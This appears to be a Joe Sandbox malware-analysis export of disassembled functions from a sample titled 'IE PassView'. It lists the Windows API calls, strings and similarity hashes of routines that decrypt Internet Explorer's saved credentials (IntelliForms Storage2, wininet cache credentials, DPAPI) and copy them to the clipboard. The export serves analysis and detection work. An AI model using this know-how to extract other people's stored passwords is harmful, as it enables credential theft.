memcpy.MSVCRT(00000000,?,00000000,?,?,000000D0,0040323B,?,?,?,?,?,?,?), ref: 00403E85
CryptDecrypt.ADVAPI32(000000D0,00000000,00000001,00000000,00000000,00000000,?,?,?,000000D0,0040323B,?,?,?,?,?), ref: 00403E99
LocalFree.KERNEL32(00000000,?,?,?,000000D0,0040323B,?,?,?,?,?,?,?), ref: 00403EB4
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,-000000F4,?,00000000), ref: 00403EBA

Memory Dump Source

Source File: 0000000D.00000002.1765185281.0000000000401000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.1765158183.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000411000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000413000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000417000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765319247.0000000000418000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765350773.000000000041A000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_iepv.jbxd

Similarity

API ID: memset$memcpy$ByteCharLocalMultiWidememcmpwcslen$AllocCloseCryptDecryptErrorFileFreeHandleLastSize_snprintf
String ID:
API String ID: 759237780-0
Opcode ID: 9f63a6c8df6a41276d9e9b54e8453c4e309d1c662af558ed0f70dc69021f87d9
Instruction ID: 5a396e25a0e2e371601baf4a11bb5320a663969d7504980d27075c5fdfef9917
Opcode Fuzzy Hash: 9f63a6c8df6a41276d9e9b54e8453c4e309d1c662af558ed0f70dc69021f87d9
Instruction Fuzzy Hash: AF812EB190021DBFDB11DFA4CC819EEBBBCAF08314F104666F515F7291E374AA498BA5

Function 0040561D Relevance: 16.6, APIs: 11, Instructions: 58clipboardmemoryfileCOMMON

Download Yara Rule

APIs

EmptyClipboard.USER32 ref: 00405627

Part of subcall function 00405476: CreateFileA.KERNELBASE(00000003,80000000,00000001,00000000,00000003,00000000,00000000,00402A1C,9+@,00000001,00000000,?,00402B39), ref: 00405488

GetFileSize.KERNEL32(00000000,00000000), ref: 00405644
GlobalAlloc.KERNEL32(00002000,00000001), ref: 00405655
GlobalLock.KERNEL32(00000000), ref: 00405662
ReadFile.KERNEL32(?,00000000,00000000,?,00000000), ref: 00405675
GlobalUnlock.KERNEL32(00000000), ref: 00405684
SetClipboardData.USER32(00000001,00000000), ref: 0040568D
GetLastError.KERNEL32 ref: 00405695
CloseHandle.KERNEL32(?), ref: 004056A1
GetLastError.KERNEL32 ref: 004056AC
CloseClipboard.USER32 ref: 004056B5

Memory Dump Source

Source File: 0000000D.00000002.1765185281.0000000000401000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.1765158183.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000411000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000413000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000417000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765319247.0000000000418000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765350773.000000000041A000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_iepv.jbxd

Similarity

API ID: ClipboardFileGlobal$CloseErrorLast$AllocCreateDataEmptyHandleLockReadSizeUnlock
String ID:
API String ID: 3604893535-0
Opcode ID: f2f17b07bb0335d9a99cc59ec3e918da205252a17b05eee3ff07b88de48dafc0
Instruction ID: b3381adad55cc61a9571f3bb3b737ed98b2e7952980a3a8cd54df1fddcaa999b
Opcode Fuzzy Hash: f2f17b07bb0335d9a99cc59ec3e918da205252a17b05eee3ff07b88de48dafc0
Instruction Fuzzy Hash: C7116D71500215ABD7005BB2EE4CB9F7BBCEB04316F104975F606F52A0DB7589608E69

Function 004036F8 Relevance: 13.6, APIs: 9, Instructions: 97encryptionCOMMON

Download Yara Rule

APIs

Part of subcall function 00403391: CryptAcquireContextA.ADVAPI32(?,00000000,00000000,00000001,F0000000,0040382E,?,00403D84,?,?,?,?,?,?,?,?), ref: 004033A1

memset.MSVCRT ref: 00403720
memset.MSVCRT ref: 00403734
memset.MSVCRT ref: 00403748
memcpy.MSVCRT(?,?,00000014,?,00000000,000000FF,?,00000000,000000FF,?,00000000,000000FF,?,00000000), ref: 00403759
memcpy.MSVCRT(?,?,00000014,?,?,00000014,?,00000000,000000FF,?,00000000,000000FF,?,00000000,000000FF,?), ref: 0040376A
CryptCreateHash.ADVAPI32(000000D0,00008004,00000000,00000000,?,00008004,00000036,?,00000010,?), ref: 004037C5
CryptHashData.ADVAPI32(?,0000005C,00000040,00000000), ref: 004037E2
CryptHashData.ADVAPI32(?,?,?,00000000), ref: 004037F6
CryptDestroyHash.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00403810

Memory Dump Source

Source File: 0000000D.00000002.1765185281.0000000000401000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.1765158183.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000411000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000413000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000417000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765319247.0000000000418000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765350773.000000000041A000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_iepv.jbxd

Similarity

API ID: Crypt$Hash$memset$Datamemcpy$AcquireContextCreateDestroy
String ID:
API String ID: 1743922700-0
Opcode ID: 14e35629a3128bee0613ca533326d652462d5b947327fdc8313b13da73cddeeb
Instruction ID: b8e6fa0fa88a7313e6858724cb14324743422fb50e59470404461193ba04ef97
Opcode Fuzzy Hash: 14e35629a3128bee0613ca533326d652462d5b947327fdc8313b13da73cddeeb
Instruction Fuzzy Hash: DB3152B190121DBFDB11AF65CD84EDA7BACEF04348F0080B6BA58E7191D6789F449B64

Function 004034C9 Relevance: 7.6, APIs: 5, Instructions: 55encryptionCOMMON

Download Yara Rule

APIs

Part of subcall function 00403391: CryptAcquireContextA.ADVAPI32(?,00000000,00000000,00000001,F0000000,0040382E,?,00403D84,?,?,?,?,?,?,?,?), ref: 004033A1

CryptCreateHash.ADVAPI32(00000000,00008004,00000000,00000000,?,?,?,?,?,?,?,0040360D,?,00000000,?,?), ref: 004034EB
CryptHashData.ADVAPI32(?,0040360D,00000040,00000000,?,?,?,?,?,?,0040360D,?,00000000,?,?), ref: 00403504
CryptHashData.ADVAPI32(?,?,?,00000000,?,?,?,?,?,?,0040360D,?,00000000,?,?), ref: 00403514
CryptGetHashParam.ADVAPI32(?,00000002,?,0040360D,00000000,00008004,?,?,?,?,?,?,0040360D,?,00000000,?), ref: 00403530
CryptDestroyHash.ADVAPI32(?,?,?,?,?,?,?,0040360D,?,00000000,?,?), ref: 0040353C

Memory Dump Source

Source File: 0000000D.00000002.1765185281.0000000000401000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.1765158183.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000411000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000413000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000417000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765319247.0000000000418000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765350773.000000000041A000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_iepv.jbxd

Similarity

API ID: Crypt$Hash$Data$AcquireContextCreateDestroyParam
String ID:
API String ID: 1860763720-0
Opcode ID: 4b877a1ff959f46b9567c7ff794a0d3c174698d1a9414c58fd4b414061876083
Instruction ID: d00e77c013bb9a1e19c89b7e5eb9daec37152487e97aaaa4dd5898c3e5fda709
Opcode Fuzzy Hash: 4b877a1ff959f46b9567c7ff794a0d3c174698d1a9414c58fd4b414061876083
Instruction Fuzzy Hash: 3C0179B2500118BFEB019FA2CC85D9EBF7CEB04394F108436FA04B2160D771CE20AB68

Function 00406B3F Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 26registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000001,Software\Microsoft\Internet Explorer\IntelliForms\Storage2,00000000,0002001F,?,?,?,?,00401F08), ref: 00406B5A
RegDeleteValueA.ADVAPI32(?,?,?,?,?,00401F08), ref: 00406B6A
RegCloseKey.ADVAPI32(?,?,?,?,00401F08), ref: 00406B78

Strings

Software\Microsoft\Internet Explorer\IntelliForms\Storage2, xrefs: 00406B50

Memory Dump Source

Source File: 0000000D.00000002.1765185281.0000000000401000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.1765158183.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000411000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000413000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000417000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765319247.0000000000418000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765350773.000000000041A000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_iepv.jbxd

Similarity

API ID: CloseDeleteOpenValue
String ID: Software\Microsoft\Internet Explorer\IntelliForms\Storage2
API String ID: 849931509-680441574
Opcode ID: c81cf22c6fabc66e4bee59be94239d7f4bb3587603230103c54f94c07f3894af
Instruction ID: 6b20d1d0df886fc3f1f553280bd720f214ad9360600cc10c6d05b814fa5e3032
Opcode Fuzzy Hash: c81cf22c6fabc66e4bee59be94239d7f4bb3587603230103c54f94c07f3894af
Instruction Fuzzy Hash: 0FE01271600238BBDB105BA2DE09E9BBE7CEB14794B100435FA06F1151D6B59A20DA98

Function 0040345F Relevance: 6.0, APIs: 4, Instructions: 43encryptionCOMMON

Download Yara Rule

APIs

Part of subcall function 00403391: CryptAcquireContextA.ADVAPI32(?,00000000,00000000,00000001,F0000000,0040382E,?,00403D84,?,?,?,?,?,?,?,?), ref: 004033A1

CryptCreateHash.ADVAPI32(?,00008004,00000000,00000000,?,?,00000000,?,?,00403859,?,00000000,00000000,?), ref: 0040347C
CryptHashData.ADVAPI32(?,00000000,00000000,00000000,?,00403859,?,00000000,00000000,?), ref: 00403490
CryptGetHashParam.ADVAPI32(?,00000002,?,00000000,00000000,00008004,?,00403859,?,00000000,00000000,?), ref: 004034B0
CryptDestroyHash.ADVAPI32(?,?,00403859,?,00000000,00000000,?), ref: 004034BB

Memory Dump Source

Source File: 0000000D.00000002.1765185281.0000000000401000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.1765158183.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000411000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000413000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000417000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765319247.0000000000418000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765350773.000000000041A000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_iepv.jbxd

Similarity

API ID: Crypt$Hash$AcquireContextCreateDataDestroyParam
String ID:
API String ID: 1643522540-0
Opcode ID: e6a31848da2750c105475134efa90e1f688eff6c570cb0a6ecf737a01f34a179
Instruction ID: 9a451bcebaa05c3b6c0cb3a898a59c77740f218fb4eab63ae73c8459247e7455
Opcode Fuzzy Hash: e6a31848da2750c105475134efa90e1f688eff6c570cb0a6ecf737a01f34a179
Instruction Fuzzy Hash: 30F01D71500118FFEB019FA6DD89D9E7B6DFB08355B008436BA05E5161D775CE209B64

Function 00403635 Relevance: 4.5, APIs: 3, Instructions: 40encryptionCOMMON

Download Yara Rule

APIs

Part of subcall function 004036F8: memset.MSVCRT ref: 00403720
Part of subcall function 004036F8: memset.MSVCRT ref: 00403734
Part of subcall function 004036F8: memset.MSVCRT ref: 00403748
Part of subcall function 004036F8: memcpy.MSVCRT(?,?,00000014,?,00000000,000000FF,?,00000000,000000FF,?,00000000,000000FF,?,00000000), ref: 00403759
Part of subcall function 004036F8: memcpy.MSVCRT(?,?,00000014,?,?,00000014,?,00000000,000000FF,?,00000000,000000FF,?,00000000,000000FF,?), ref: 0040376A
Part of subcall function 004036F8: CryptCreateHash.ADVAPI32(000000D0,00008004,00000000,00000000,?,00008004,00000036,?,00000010,?), ref: 004037C5
Part of subcall function 004036F8: CryptHashData.ADVAPI32(?,0000005C,00000040,00000000), ref: 004037E2
Part of subcall function 004036F8: CryptHashData.ADVAPI32(?,?,?,00000000), ref: 004037F6

CryptHashData.ADVAPI32(?,?,?,00000000,?,?,?,?,000000D0,?,00403E30,?,00000001,0040323B,?,00000002), ref: 00403666
CryptHashData.ADVAPI32(?,?,?,00000000,?,?,?,?,000000D0,?,00403E30,?,00000001,0040323B,?,00000002), ref: 00403672
CryptGetHashParam.ADVAPI32(?,00000002,000000D0,?,00000000,00008004,?,00403E30,?,00000001,0040323B,?,00000002,-000000D3,?,000000D0), ref: 0040368E

Memory Dump Source

Source File: 0000000D.00000002.1765185281.0000000000401000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.1765158183.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000411000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000413000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000417000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765319247.0000000000418000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765350773.000000000041A000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_iepv.jbxd

Similarity

API ID: CryptHash$Data$memset$memcpy$CreateParam
String ID:
API String ID: 691630331-0
Opcode ID: 21be408687e41982e73ded46756a3dc6091b572a3391f3c753abb2be30f0aac5
Instruction ID: 5cf852195970a62b2ecae631277351066405a7b3628ea7fe337fa0e3e3163c91
Opcode Fuzzy Hash: 21be408687e41982e73ded46756a3dc6091b572a3391f3c753abb2be30f0aac5
Instruction Fuzzy Hash: EAF0F632000159BBCF225F56DC05CDB3F6EFB84765F04852ABA24A6160C7729A20EBA4

Function 0040369A Relevance: 4.5, APIs: 3, Instructions: 34encryptionCOMMON

Download Yara Rule

APIs

Part of subcall function 004036F8: memset.MSVCRT ref: 00403720
Part of subcall function 004036F8: memset.MSVCRT ref: 00403734
Part of subcall function 004036F8: memset.MSVCRT ref: 00403748
Part of subcall function 004036F8: memcpy.MSVCRT(?,?,00000014,?,00000000,000000FF,?,00000000,000000FF,?,00000000,000000FF,?,00000000), ref: 00403759
Part of subcall function 004036F8: memcpy.MSVCRT(?,?,00000014,?,?,00000014,?,00000000,000000FF,?,00000000,000000FF,?,00000000,000000FF,?), ref: 0040376A
Part of subcall function 004036F8: CryptCreateHash.ADVAPI32(000000D0,00008004,00000000,00000000,?,00008004,00000036,?,00000010,?), ref: 004037C5
Part of subcall function 004036F8: CryptHashData.ADVAPI32(?,0000005C,00000040,00000000), ref: 004037E2
Part of subcall function 004036F8: CryptHashData.ADVAPI32(?,?,?,00000000), ref: 004037F6

CryptHashData.ADVAPI32(00403E7A,00000000,000000D0,00000000,?,00403E7A,00403E7A,000000D0), ref: 004036C7
CryptDeriveKey.ADVAPI32(000000D0,00006603,00403E7A,00A80004,?,?,00403E7A,00403E7A,000000D0), ref: 004036DF
CryptDestroyHash.ADVAPI32(00403E7A), ref: 004036EA

Memory Dump Source

Source File: 0000000D.00000002.1765185281.0000000000401000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.1765158183.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000411000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000413000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000417000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765319247.0000000000418000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765350773.000000000041A000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_iepv.jbxd

Similarity

API ID: Crypt$Hash$Datamemset$memcpy$CreateDeriveDestroy
String ID:
API String ID: 3896772585-0
Opcode ID: c5d0e55c481ce3b13496b9d6dcb70f892fa54cd53cd6a11a2bd834e00d1b1445
Instruction ID: 44e90c607e6209aa9459c9a2c4f95b2697e1a2ad7cb6c048210f5492c182dd50
Opcode Fuzzy Hash: c5d0e55c481ce3b13496b9d6dcb70f892fa54cd53cd6a11a2bd834e00d1b1445
Instruction Fuzzy Hash: 84F0A936500119BBDF225F95DC09E9ABF69EB04761F048532FA15AA270C7728A30ABA4

Function 00403391 Relevance: 1.5, APIs: 1, Instructions: 14encryptionCOMMON

Download Yara Rule

APIs

CryptAcquireContextA.ADVAPI32(?,00000000,00000000,00000001,F0000000,0040382E,?,00403D84,?,?,?,?,?,?,?,?), ref: 004033A1

Memory Dump Source

Source File: 0000000D.00000002.1765185281.0000000000401000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.1765158183.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000411000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000413000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000417000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765319247.0000000000418000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765350773.000000000041A000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_iepv.jbxd

Similarity

API ID: AcquireContextCrypt
String ID:
API String ID: 3951991833-0
Opcode ID: 3b5615ebe941a9a81dd6eccc60e94903900e891735debf004889eb2f07e5d409
Instruction ID: 5608fb8a19430fbc1a30ce7a14a882dfbb49de9bc70487ff80e39b615427bb3a
Opcode Fuzzy Hash: 3b5615ebe941a9a81dd6eccc60e94903900e891735debf004889eb2f07e5d409
Instruction Fuzzy Hash: 9AC012B0624221AEEF2C0B228E9AB23265CAB10707F0008BABA01F4190FAB498549529

Function 0040337E Relevance: 1.5, APIs: 1, Instructions: 8encryptionCOMMON

Download Yara Rule

APIs

CryptReleaseContext.ADVAPI32(?,00000000,00402652), ref: 00403387

Memory Dump Source

Source File: 0000000D.00000002.1765185281.0000000000401000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.1765158183.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000411000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000413000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000417000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765319247.0000000000418000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765350773.000000000041A000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_iepv.jbxd

Similarity

API ID: ContextCryptRelease
String ID:
API String ID: 829835001-0
Opcode ID: 7c88731a7504f552f264407fd77c281916d10f2d699e7f60da82b23929a0aa95
Instruction ID: e0ae15e2777a42615f0fc0b52da8459c9a630cda12a1bac885029add2a630265
Opcode Fuzzy Hash: 7c88731a7504f552f264407fd77c281916d10f2d699e7f60da82b23929a0aa95
Instruction Fuzzy Hash: CBC092306003019BEB308F25CD49B1276E8AF40B02FA00869A990E90D0DBB8E450CA2D

Function 00407162 Relevance: 56.3, APIs: 25, Strings: 7, Instructions: 265stringCOMMON

Download Yara Rule

APIs

_wcsicmp.MSVCRT ref: 0040717A
_wcsicmp.MSVCRT ref: 0040718D
_wcsnicmp.MSVCRT ref: 004071A7
_wcsnicmp.MSVCRT ref: 004071BB
wcslen.MSVCRT ref: 004071CC
_wcsicmp.MSVCRT ref: 004071EE
memset.MSVCRT ref: 00407237
wcscpy.MSVCRT ref: 00407244
wcslen.MSVCRT ref: 00407269
wcslen.MSVCRT ref: 0040727E
_wcsicmp.MSVCRT ref: 004072C1
_wcsicmp.MSVCRT ref: 004072D4
_wcsnicmp.MSVCRT ref: 004072EB
memset.MSVCRT ref: 00407332
wcschr.MSVCRT ref: 0040733A
wcslen.MSVCRT ref: 00407342
wcscpy.MSVCRT ref: 00407360
wcschr.MSVCRT ref: 0040736E
_wcsnicmp.MSVCRT ref: 004073A8
memset.MSVCRT ref: 004073DC
strchr.MSVCRT ref: 004073F2
memset.MSVCRT ref: 0040741F
memset.MSVCRT ref: 00407434
MultiByteToWideChar.KERNEL32(00000000,00000000,00000000,000000FF,?,000000FF), ref: 00407455
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,?,000000FF), ref: 00407468

Strings

:stringdata, xrefs: 004071E8
internet explorer, xrefs: 0040716E, 00407173, 00407189
ftp://, xrefs: 004072E5
dpapi:, xrefs: 004073A2
http://, xrefs: 004071A1
https://, xrefs: 004071B5
wininetcachecredentials, xrefs: 004072B8, 004072BD, 004072D0

Memory Dump Source

Source File: 0000000D.00000002.1765185281.0000000000401000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.1765158183.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000411000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000413000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000417000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765319247.0000000000418000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765350773.000000000041A000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_iepv.jbxd

Similarity

API ID: _wcsicmpmemset$_wcsnicmpwcslen$ByteCharMultiWidewcschrwcscpy$strchr
String ID: :stringdata$dpapi:$ftp://$http://$https://$internet explorer$wininetcachecredentials
API String ID: 691317191-1843504584
Opcode ID: 64ae45c69317c8d5a8cdbc06d97254c38d343c4c6fccfcd6bd6cc5379d7ab00d
Instruction ID: 3a0f13ae24b23bade33cb64b2ccb3be8b7dae0a4221c21c64eb3c4d2ede0942a
Opcode Fuzzy Hash: 64ae45c69317c8d5a8cdbc06d97254c38d343c4c6fccfcd6bd6cc5379d7ab00d
Instruction Fuzzy Hash: 6F918072D04219AAEB20DF91CC86FAF776CAF54314F1044BBFD08B61C1EA78B9548B65

Function 0040C4B9 Relevance: 47.5, APIs: 24, Strings: 3, Instructions: 264stringCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003E9), ref: 0040C4E6
GetDlgItem.USER32(?,000003E8), ref: 0040C4F2
GetWindowLongA.USER32(00000000,000000F0), ref: 0040C501
GetWindowLongA.USER32(?,000000F0), ref: 0040C50D
GetWindowLongA.USER32(00000000,000000EC), ref: 0040C516
GetWindowLongA.USER32(?,000000EC), ref: 0040C522
GetWindowRect.USER32(00000000,?), ref: 0040C534
GetWindowRect.USER32(?,?), ref: 0040C53F
MapWindowPoints.USER32(00000000,?,?,00000002), ref: 0040C553
MapWindowPoints.USER32(00000000,?,?,00000002), ref: 0040C561
73A1A570.USER32(?,?,?), ref: 0040C59A
strlen.MSVCRT ref: 0040C5DA
GetTextExtentPoint32A.GDI32(?,00000000,00000000,?), ref: 0040C5EB
sprintf.MSVCRT ref: 0040C6F6
SetWindowTextA.USER32(?,?), ref: 0040C70A
SetWindowTextA.USER32(?,00000000), ref: 0040C728
GetDlgItem.USER32(?,00000001), ref: 0040C75E
GetWindowRect.USER32(00000000,?), ref: 0040C76E
MapWindowPoints.USER32(00000000,?,?,00000002), ref: 0040C77C
GetClientRect.USER32(?,?), ref: 0040C793
GetWindowRect.USER32(?,?), ref: 0040C79D
SetWindowPos.USER32(?,00000000,00000000,00000000,?,?,00000206), ref: 0040C7E3
GetClientRect.USER32(?,?), ref: 0040C7ED
SetWindowPos.USER32(?,00000000,?,?,?,?,00000204), ref: 0040C825

Strings

%s:, xrefs: 0040C6F0
EDIT, xrefs: 0040C6D0
STATIC, xrefs: 0040C69A

Memory Dump Source

Source File: 0000000D.00000002.1765185281.0000000000401000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.1765158183.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000411000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000413000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000417000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765319247.0000000000418000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765350773.000000000041A000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_iepv.jbxd

Similarity

API ID: Window$Rect$Long$ItemPointsText$Client$A570ExtentPoint32sprintfstrlen
String ID: %s:$EDIT$STATIC
API String ID: 4065480583-3046471546
Opcode ID: ac05241936f2d2ff163d095bc9836d102f638af11ece16d3f32f3c81e010e75d
Instruction ID: 6aad9ee015615c23f100dea8964b97ccebe7d6c2e33fb7990f14215551546888
Opcode Fuzzy Hash: ac05241936f2d2ff163d095bc9836d102f638af11ece16d3f32f3c81e010e75d
Instruction Fuzzy Hash: CDB1D171108301AFD710DFA9C985E6BBBE9FF88704F00492DF695922A1D775E8148F16

Function 004010E5 Relevance: 47.4, APIs: 26, Strings: 1, Instructions: 178COMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003EC), ref: 0040113D
ChildWindowFromPoint.USER32(?,?,?), ref: 0040114F
GetDlgItem.USER32(?,000003EE), ref: 00401184
ChildWindowFromPoint.USER32(?,?,?), ref: 00401191
GetDlgItem.USER32(?,000003EC), ref: 004011BF
ChildWindowFromPoint.USER32(?,?,?), ref: 004011D1
GetModuleHandleA.KERNEL32(00000000,?,?), ref: 004011DA
LoadCursorA.USER32(00000000,00000067), ref: 004011E3
SetCursor.USER32(00000000,?,?), ref: 004011EA
GetDlgItem.USER32(?,000003EE), ref: 0040120A
ChildWindowFromPoint.USER32(?,?,?), ref: 00401217
GetDlgItem.USER32(?,000003EC), ref: 00401231
SetBkMode.GDI32(?,00000001), ref: 0040123D
SetTextColor.GDI32(?,00C00000), ref: 0040124B
GetSysColorBrush.USER32(0000000F), ref: 00401253
GetDlgItem.USER32(?,000003EE), ref: 00401273
EndDialog.USER32(?,00000001), ref: 0040129E
DeleteObject.GDI32(?), ref: 004012AA
GetDlgItem.USER32(?,000003ED), ref: 004012CE
ShowWindow.USER32(00000000), ref: 004012D7
GetDlgItem.USER32(?,000003EE), ref: 004012E3
ShowWindow.USER32(00000000), ref: 004012E6
SetDlgItemTextA.USER32(?,000003EE,00412288), ref: 004012F7
SetWindowTextA.USER32(?,IE PassView), ref: 00401305
SetDlgItemTextA.USER32(?,000003EA,?), ref: 0040131D
SetDlgItemTextA.USER32(?,000003EC,?), ref: 0040132E

Strings

IE PassView, xrefs: 004012FD

Memory Dump Source

Source File: 0000000D.00000002.1765185281.0000000000401000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

